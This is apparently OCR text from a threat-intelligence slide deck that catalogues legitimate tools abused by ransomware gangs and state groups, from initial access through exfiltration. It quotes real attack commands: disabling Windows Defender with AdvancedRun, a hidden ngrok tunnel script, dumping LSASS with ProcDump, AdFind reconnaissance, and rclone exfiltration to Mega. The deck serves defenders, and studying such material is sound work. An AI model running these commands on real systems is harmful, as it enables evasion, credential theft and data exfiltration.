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These are NOT the things we are going to talk about today!

Instead, we are going to talk about third party legitimate tools abused by real adversaries!
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Initial access

Tool

RMS

Adversary

Forest Rat

FF
ONE

2022

NGO

CypoBwii 3anwmr: 3851

BignoeymuBDo go er. 133, c1. 13 D0miratsE0-pEBE; o =D0 cpe . Bant He 00z anatH ¢=) aniro zauB THageHy B My sammti, y =Dlas1i He HanaseBDa
poxymenTau=D1i ex OymuTe 096 1 mpreon=D1 a0 0

Cyzormnit 3ar=D01: 1. https://drive.google. com/f=le/d/1hXz;

3 metomo indop=DOari essBFern ectanosr=D0mo xon AocrysBFy: 2022

3 nosazomw,

nAlydon, ] ‘
CTOB"AHnA1BKHH MICBKPA=DOOHHHH CY ay
B=2EI Cmaposeuysx=D0ii

The threat actor ran a few malspam campaigns in order to
install either RMS (or TeamViewer) on the victim’s host to
start performing post-exploitation activities



Tactic

Initial access

Atera

Conti
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— O B nhips://bisoftportal.site
- —— -
D) Opening book 2k.msi &
You have chosen to open:
4 B book 2k.msi
which is: MSI file (140 MB)
from: https://bisoftportal.site
Would you like to save this file?
Save File

The threat actors leveraged SEO poisoning to lure the
victim to download and execute a weaponized MSI file,
which installed Atera, a legitimate remote access tool, so
they can start post-exploitation activities
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The threat actors used a tool by NirSoft called AdvancedRun to
disable Windows Defender:

AdvancedRun.exe /EXEFilename “C:\Windows\System32\sc.exe"
/WindowState O /CommandLine “stop WinDefend"”
/StartDirectory “" /RunAs 8 /Run
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Tactic

Defense Evasion SR,

View Modules
View Threads

v Ha

Show Lower Pane

Find Module

Find Unsigned Module

;oft Application \
Delete File After Termination ioft Application \

PCHunter

Signature

Verify All Process Signatrue

Suspend

Copy Image Name

Copy Image Path

LockBit Another tool used by the threat actors to bypass defenses.
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Tactic

FweEye
‘ \lEndpomut Agent

Once upon a time... Lapsus$ killed
FireEye EDR agent with... Process
hacker!




Tactic

Defense Evasion

GMER

Nefilim

GMER 2.0.18444 WINDOWS 6.1.7601 Service Pack 1 x64

Sometimes threat actors may think that you EDR solution
Is a rootkit. So they kill it with GMER.
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Tactic

Defense Evasion

Tool

HRSword

Adversary

RagnarlLocker
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Microsoft ¢

Microsoft € ti t Server Runtime Process

Runtime Bro

arch anc

5| RuntimeBroker.ex: ti Runtime Bro

55| Windowslnternal.Con ti dowsInternal

55| TXPlatfo

Some threat actors use quite uncommon tools to get rid of
security software. A good example is HRSword.
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Defense Evasion

Tool

|IObit Unlocker

Adversary

Dharma
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B 10bit Unlocker

(™1 I0bit Unlocker vi.1
(ﬂ’ This tool will help you unlock the files/folders occupied by other processes.
Files/Folders selected

Files/Folders Status

Add files/folders to unlock. You can drag and drop files/folders here or dick "Add” button!

Dharma ransomware affiliates leveraged |Obit Unlocker to
release locked files so that these files may be encrypted.
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’) AnyDesk I New Session

Tactic °

This Desk G

perSiStence our Desk can be accessed with this address. Please enter the '-_,‘—" f the remote desk you would like to access.

#» |nvitation email...

AnyDesk Status Set password for What's new in
L L unattended access... AnyDesk 6.2?
Your AnyDesk version is up to

date. This enables you to access your Check out the most interesting
desk, no matter where you are. new features in this release.

AnyDesk

Adversa ry Threat actors may install legitimate remote access software
on compromised hosts to gain redundant access to the

BlackByte network.
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Tactic

Persistence

TightVNC

REVil

TightVNC Service Configuration -

Administration

Action

Allow

Maove down

will be rejected

seconds

| Cancel | | Apphy

Another example of legitimate remote access software
abused by ransomware affiliates.
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Some threat actors prefer more stealthy technigues, for
example, abusing ngrok:

Dim objShell
Set objShell = WScript.CreateObject("WScript.Shell")

command = "powershell -windowstyle hidden
C:\ProgramData\WindNT\conhost.exe start --
config=C:\ProgramData\WindNT\ngrok.yml --all --region=eu"

objShell Run command,0
Set objShell = Nothing
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Chisel is another tunneling tool commonly abused both by
cyber criminals and state-sponsored groups.

The usage of Chisel and other tunneling tools effectively
enable the threat actor to connect to machines within target
environments as if they were inside the operator LAN.

\
2

FF
ONE

2022

15
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There are quite a few ways to dump LSASS. ProcDump is a
good option in many cases, and is used often enough:

cmd.exe /c C:\Windows\Temp\firefox.exe -accepteula -r -ma
999 C:\Windows\Temp\TAPE.bin
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Tactic

Credential Access

WebBrowserPassView

Kimsuky

S webBrowserPassYiew
File Edit Wiew Options Help

User Mame

lagin

nirsaft:

ds, 1 Selected HirSoft Freeware. hitp:/'www.nirsoft.net

If you ever did a forensic examination, you may be aware of
password recovery tools. So do the threat actors!
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. 2 Mail PassYiew
Credential Access s =1 3

bean BlueCar

Mit Sofer C Iress it o mail, Cam nirsoft 126abF1P
ainbow CrediiM: rainbi (u] a2, A2 r'.E|ir||:||:|I.-'-.l tI:IrTIEII:lI:I
ot BigDogda

Mail PassView

4 jtem(s), 1 Selected

Another password recovery tool by NirSoft. Also enables the

_ threat actors to get you credentials, this time from mail
clients.

Emotet
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In Most cases the threat actors need to recon Active Directory.
There are a bunch of absolutely legitimate tools to solve this
task, for example, AdFind:

adfind.exe -f "(objectcategory=person)" > ad_users.txt
adfind.exe -f "objectcategory=computer" > ad_computers.txt
adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
adfind.exe -sc trustdmp > trustdmp.txt

adfind.exe -subnets -f (objectCategory=subnet)> subnets.txt
adfind.exe -f "(objectcategory=group)" > ad_group.txt
adfind.exe -gcb -sc trustdmp > trustdmp.txt
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Tactic

Reconnaissance

AD Explorer

RedCurl

Edit Favorites Search

VR.Contoso.com]

AD Explorer is a GUI tool, but there's some magic.
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Tactic

Reconnaissance

Tool

SoftPerfect Network
Scanner

Adversary

OilRig

& SoftPerfect Network Scanner

File View Actions Options Bookmarks Help
= ] aa - il
il = = M r Y. XN

IPvd Frem  [192.168.0 .0 o 192.168.0 .255 3 A~

IP Address MAC Address Response Time Host Mame

= i 192.168.0.1 08-00-27-FC-45-74 0ms PRIMARY

08-00-27-28-86-17

08-00-27-ED-4F-4C

Threads

VFF
{ONE

2022

sk
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> Start Scanning  §jf

SoftPerfect Network Scanner is one of the most popular
network scanners among cyber criminals. Some state-
sponsored groups use it as well.
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Advanced IP Scanner

Ta CtIC File Actions Settings WView Help
P C

Reconnaissance

Results Favorites

Status Mame Manufacturer MAC address

Admin-PC
Fju
pumba,de

JOHM

Advanced IP Scanner

192, 168.0, 109 PC Partner Ltd, 00:01:2E: 34

6 alive, 1 dead, 15 unknown

REVI One more example of a legitimate network scanner.
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Tactic

Reconnaissance

Advanced Port
Scanner

Pysa

There are quite a few examples.
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Tactic

RemCom is an open source alternative of notorious PsExec
(which, by the way, is another example of a legitimate tool used
for really bad things, and don't forget about PAExec, CSExec
and Winexe)
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PO fnventory & (Beta 2) Enterprise Mode

Lateral Movement

PDQ Deploy

_ IT asset management software may be deployed by the threat

actors or be already available in the compromised network, so
it can be easily abused.
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* fﬂ PuTTY Configuration ? X
Ta Ct I C v Category:

-~ Session Basic options for your PUuTTY session

Logging Specify the destination you want to connect to

La te ra | M Ove m e n t - e Host Name (or IP address) Port

Keyboard

Putty

Pysa

Bell

Features

Appearance
Behaviour
Translation
Selection

Colours

=}- Connection

Data
Proxy
Telnet
Rlogin
SSH

Serial

Connection type:
(ORaw (U Telnet () Rlogin (® SSH () Seral

Load, save or delete a stored session

Saved Sessions

Default Settings Load
Save

Delete

Close window on exit:
(O Aways () Never (@ Onlyon clean exit

In some cases, the threat actors need to jump to Linux
environment to get access or encrypt the most juicy data.

PAS
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Rclone is a really common tool used for data exfiltration by many
ransomware gangs:

rclone.exe copy --max-age 3y "WSERVER\Shares" Mega:DATA -q
--ignore-existing --auto-confirm --multi-thread-streams 7 --

transfers 7 --bwlimit 10M

27



Tactic

Exfiltration

Tool

WinSCP

Adversary

REVil
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5_1 wiki - My Server - WinSCP

File Commands Mark 5Session View Help

Address | ‘home/mprikryl/httpdocs/wiki/wiki

= - =1 [ flj l—~;] [}, Find Files | gl Download ~ [ Edit ~ 5 3¢ [ Properties |—_-| T New = l;..'_"

Transfer Settings Default

Narmne h Changed Owner

. announcement_wins... . -r==r-- mprikryl
rprikryl _ .

P b -'lw. announcement_wins.., 016 { -r--r-- mprikryl
DacKup .
bi F awards.bit B B 16: -F--r-- mprikryl
bin L
commandline. bt 4 K] 01,2016 -r--r-- mprikryl

httpdocs prikry
wiki

il contributions. et 016 e[ mprikryl

configbet 3K 02.2016 -r--r-- rmprikryl
vl
data 6 Kl 016 -r--r-- mprikryl
debugging. 3 201812 -r=-r-- mprikryl
directory_cache. bt 3 -F--f-- mprikryl
dragext.t 3 KB ¢ -r--r-- mprikryl
fag.bet 12,20 -[--f-- mprikryl
faq_commandlinebd KB 17.12.2004 “r--r-- mprikryl
faq_dir_default.tet 0.12.20 fenpe- mprikryl

3 of 161 KB in 4 of 30 1 hidden

Another tool that enables ransomware affiliates (and not always
them) to exfiltrate sensitive data.
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Exfiltration

FileZilla

LockBit

Some prefer to do it plain and simple, and just use FTP.
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Exfiltration

Tool

MEGAsync

Adversary

BlackCat

Upload to MEGA now

MEGA - one of the most common services used for data
exfiltration.
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Tactic

Impact

DiskCryptor

Cobalt Mirage
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I piskcCryptor 0.9.573.105 ==

File “olumes Tools Help Homepage

Disk Drives Unrnounk

Skakus

Decrypk

Mournt Al

Unmount &
mounted Unmount &ll

Info

Do threat actors really need ransomware? Not always!
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